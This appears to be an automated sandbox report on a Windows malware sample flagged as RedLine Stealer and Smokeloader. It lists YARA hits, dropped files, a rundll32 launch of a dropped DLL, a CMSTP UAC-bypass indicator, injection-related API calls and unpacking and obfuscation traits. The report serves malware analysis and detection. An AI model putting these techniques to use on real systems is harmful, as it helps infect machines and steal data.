Source: 6.2.F50.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 12.2.F50.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000000.00000002.422927170.0000000002DA9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000001.00000000.407390160.0000000002A41000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.422745433.0000000002D51000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000004.00000002.587334500.0000000002E71000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000C.00000002.568515234.0000000002E8E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000005.00000002.521464355.0000000004A70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000004.00000002.586404126.0000000002BE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000C.00000002.568347439.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000005.00000002.520261780.0000000004997000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000006.00000002.536404249.0000000004830000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.422685888.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.422539917.0000000002C00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000004.00000002.586888838.0000000002C38000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000004.00000002.586363495.0000000002BD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000006.00000002.534093898.0000000002EA9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Uses 32bit PE files
Source: file.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 6.2.F50.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 12.2.F50.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000000.00000002.422927170.0000000002DA9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000001.00000000.407390160.0000000002A41000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.422745433.0000000002D51000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000004.00000002.587334500.0000000002E71000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000C.00000002.568515234.0000000002E8E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000005.00000002.521464355.0000000004A70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000004.00000002.586404126.0000000002BE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000C.00000002.568347439.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000005.00000002.520261780.0000000004997000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000006.00000002.536404249.0000000004830000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.422685888.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.422539917.0000000002C00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000004.00000002.586888838.0000000002C38000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000004.00000002.586363495.0000000002BD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000006.00000002.534093898.0000000002EA9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Detected potential crypto function
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00409466 0_2_00409466
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00412670 0_2_00412670
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00415482 0_2_00415482
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0041212C 0_2_0041212C
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0040E9E6 0_2_0040E9E6
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00411BE8 0_2_00411BE8
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0040D995 0_2_0040D995
Source: C:\Users\user\AppData\Roaming\wdscede Code function: 4_2_00409466 4_2_00409466
Source: C:\Users\user\AppData\Roaming\wdscede Code function: 4_2_00412670 4_2_00412670
Source: C:\Users\user\AppData\Roaming\wdscede Code function: 4_2_00415482 4_2_00415482
Source: C:\Users\user\AppData\Roaming\wdscede Code function: 4_2_0041212C 4_2_0041212C
Source: C:\Users\user\AppData\Roaming\wdscede Code function: 4_2_0040E9E6 4_2_0040E9E6
Source: C:\Users\user\AppData\Roaming\wdscede Code function: 4_2_00411BE8 4_2_00411BE8
Source: C:\Users\user\AppData\Roaming\wdscede Code function: 4_2_0040D995 4_2_0040D995
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004D1370 5_2_004D1370
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004E9303 5_2_004E9303
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004E55F9 5_2_004E55F9
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004FA940 5_2_004FA940
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004E8DF6 5_2_004E8DF6
Contains functionality to call native functions
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00401615 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 0_2_00401615
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0040280D NtClose, 0_2_0040280D
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00401620 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 0_2_00401620
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00403428 GetModuleHandleA,Sleep,GetModuleFileNameW,ExpandEnvironmentStringsW,lstrcatW,CreateFileW,MapViewOfFile,LocalFree,GetForegroundWindow,NtOpenProcess,NtQueryKey,NtEnumerateKey,strstr,wcsstr,tolower,towlower, 0_2_00403428
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00401633 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 0_2_00401633
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00401636 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 0_2_00401636
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_004026C4 NtClose, 0_2_004026C4
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_004017E4 NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 0_2_004017E4
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0040159D NtAllocateVirtualMemory, 0_2_0040159D
Source: C:\Users\user\AppData\Roaming\wdscede Code function: 4_2_00401615 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 4_2_00401615
Source: C:\Users\user\AppData\Roaming\wdscede Code function: 4_2_0040280D NtClose, 4_2_0040280D
Source: C:\Users\user\AppData\Roaming\wdscede Code function: 4_2_00401620 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 4_2_00401620
Source: C:\Users\user\AppData\Roaming\wdscede Code function: 4_2_00403428 GetModuleHandleA,Sleep,GetModuleFileNameW,ExpandEnvironmentStringsW,lstrcatW,CreateFileW,MapViewOfFile,LocalFree,GetForegroundWindow,NtOpenProcess,NtQueryKey,NtEnumerateKey,strstr,wcsstr,tolower,towlower, 4_2_00403428
Source: C:\Users\user\AppData\Roaming\wdscede Code function: 4_2_00401633 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 4_2_00401633
Source: C:\Users\user\AppData\Roaming\wdscede Code function: 4_2_00401636 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 4_2_00401636
Source: C:\Users\user\AppData\Roaming\wdscede Code function: 4_2_004026C4 NtClose, 4_2_004026C4
Source: C:\Users\user\AppData\Roaming\wdscede Code function: 4_2_004017E4 NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 4_2_004017E4
Source: C:\Users\user\AppData\Roaming\wdscede Code function: 4_2_0040159D NtAllocateVirtualMemory, 4_2_0040159D
Tries to load missing DLLs
Source: C:\Windows\explorer.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: windows.globalization.dll Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: capabilityaccessmanagerclient.dll Jump to behavior
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\Wtfoiq.tmp D0AC0E9021C6E231C60256198309B7F72CE4C5E772CF343B5456C2CE0664B9BD
Source: file.exe ReversingLabs: Detection: 46%
Source: file.exe Virustotal: Detection: 52%
Source: file.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\file.exe C:\Users\user\Desktop\file.exe
Source: unknown Process created: C:\Users\user\AppData\Roaming\wdscede C:\Users\user\AppData\Roaming\wdscede
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\EE5A.exe C:\Users\user\AppData\Local\Temp\EE5A.exe
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\F50.exe C:\Users\user\AppData\Local\Temp\F50.exe
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\system32\rundll32.exe" "C:\Users\user\AppData\Local\Temp\Wtfoiq.tmp",Iyidwoiowsw
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\F50.exe "C:\Users\user\AppData\Local\Temp\F50.exe"
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\EE5A.exe C:\Users\user\AppData\Local\Temp\EE5A.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\F50.exe C:\Users\user\AppData\Local\Temp\F50.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\system32\rundll32.exe" "C:\Users\user\AppData\Local\Temp\Wtfoiq.tmp",Iyidwoiowsw Jump to behavior
Source: C:\Windows\explorer.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32 Jump to behavior
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\wdscede Jump to behavior
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\EE5A.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winEXE@9/5@21/9
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004BC614 CreateToolhelp32Snapshot,CreateToolhelp32Snapshot, 5_2_004BC614
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\system32\rundll32.exe" "C:\Users\user\AppData\Local\Temp\Wtfoiq.tmp",Iyidwoiowsw
Source: C:\Users\user\AppData\Local\Temp\F50.exe Mutant created: \Sessions\1\BaseNamedObjects\WTfewgNmxpcaVXHKTu
Source: C:\Users\user\Desktop\file.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: file.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: c:\omtnkdoj\bnwv\yogisfk\cqf.pdb source: F50.exe, 00000006.00000002.528181766.0000000000410000.00000040.00000001.01000000.00000008.sdmp, F50.exe, 0000000C.00000002.567417661.0000000000410000.00000040.00000001.01000000.00000008.sdmp
Source: Binary string: c:\bfllk\pdgh\qovxk\wqdtbmac.pdb source: F50.exe, 0000000C.00000002.569153317.0000000002F10000.00000004.00000020.00020000.00000000.sdmp, F50.exe, 0000000C.00000002.648280512.0000000007493000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\donupuvip.pdb source: F50.exe, 00000006.00000000.483025298.0000000000401000.00000020.00000001.01000000.00000008.sdmp, F50.exe, 0000000C.00000000.525499215.0000000000401000.00000020.00000001.01000000.00000008.sdmp, F50.exe.1.dr
Source: Binary string: C:\donupuvip.pdb source: F50.exe, 00000006.00000000.483025298.0000000000401000.00000020.00000001.01000000.00000008.sdmp, F50.exe, 0000000C.00000000.525499215.0000000000401000.00000020.00000001.01000000.00000008.sdmp, F50.exe.1.dr
Source: Binary string: c:\jfmo\tlcp\nyvnyt\obocmwsb.pdb source: F50.exe, 0000000C.00000002.569572014.0000000004A5F000.00000004.00000800.00020000.00000000.sdmp, F50.exe, 0000000C.00000002.648280512.0000000007493000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: c:\bfllk\pdgh\qovxk\wqdtbmac.pdb/; source: F50.exe, 0000000C.00000002.569153317.0000000002F10000.00000004.00000020.00020000.00000000.sdmp, F50.exe, 0000000C.00000002.648280512.0000000007493000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: c:\jfmo\tlcp\nyvnyt\obocmwsb.pdb/; source: F50.exe, 0000000C.00000002.569572014.0000000004A5F000.00000004.00000800.00020000.00000000.sdmp, F50.exe, 0000000C.00000002.648280512.0000000007493000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\nodisexu yavagehinup25\lore6 waciropa\jasat.pdb source: file.exe, wdscede.1.dr
Source: Binary string: C:\cotuzupax\penoriyupu\bodukik-pom6.pdb source: EE5A.exe, 00000005.00000000.475912939.0000000000401000.00000020.00000001.01000000.00000007.sdmp, EE5A.exe.1.dr
Source: Binary string: CC:\cotuzupax\penoriyupu\bodukik-pom6.pdb source: EE5A.exe, 00000005.00000000.475912939.0000000000401000.00000020.00000001.01000000.00000007.sdmp, EE5A.exe.1.dr

Data Obfuscation
barindex
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Unpacked PE file: 5.2.EE5A.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\F50.exe Unpacked PE file: 6.2.F50.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\F50.exe Unpacked PE file: 12.2.F50.exe.400000.0.unpack
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\file.exe Unpacked PE file: 0.2.file.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\wdscede Unpacked PE file: 4.2.wdscede.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Unpacked PE file: 5.2.EE5A.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\F50.exe Unpacked PE file: 6.2.F50.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
Source: C:\Users\user\AppData\Local\Temp\F50.exe Unpacked PE file: 12.2.F50.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00402DB9 push esi; ret 0_2_00402DCF
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_004091F5 push ecx; ret 0_2_00409208
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_02C02E20 push esi; ret 0_2_02C02E36
Source: C:\Users\user\AppData\Roaming\wdscede Code function: 4_2_00402DB9 push esi; ret 4_2_00402DCF
Source: C:\Users\user\AppData\Roaming\wdscede Code function: 4_2_004091F5 push ecx; ret 4_2_00409208
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004F81D6 push 004F5947h; ret 5_2_004F82F5
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004F81D6 push 004A7ED8h; ret 5_2_004F87C8
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004EC1B8 push 004B9C1Ah; ret 5_2_004EC306
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004D650F push 004D4937h; ret 5_2_004D666E
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004A8535 push 0049C91Ch; ret 5_2_004A8811
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_0046763A push 0045EEBAh; ret 5_2_0046769C
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004F6755 push 004B66B8h; ret 5_2_004F69D5
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004C8717 push 004A47B2h; ret 5_2_004C8863
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004C8717 push 0049EEB0h; ret 5_2_004C8AB5
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004D688A push 0045F957h; ret 5_2_004D68A8
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004EC8A7 push 004E3B24h; ret 5_2_004ECC5E
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004AB8A4 push 004A93CBh; ret 5_2_004AB9B9
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004A8A07 push 004A1DA9h; ret 5_2_004A8D5B
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004F4B5F push edx; ret 5_2_004F4B85
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_00463CD5 push 0045EEBAh; ret 5_2_00463E70
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004D7D4B push 004D5472h; ret 5_2_004D7E2B
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004F8D9E push 004C1DDDh; ret 5_2_004F8F1A
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004F7E0B push 004DAA89h; ret 5_2_004F7E9A
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004EBFDA push 004C6325h; ret 5_2_004EC1B7
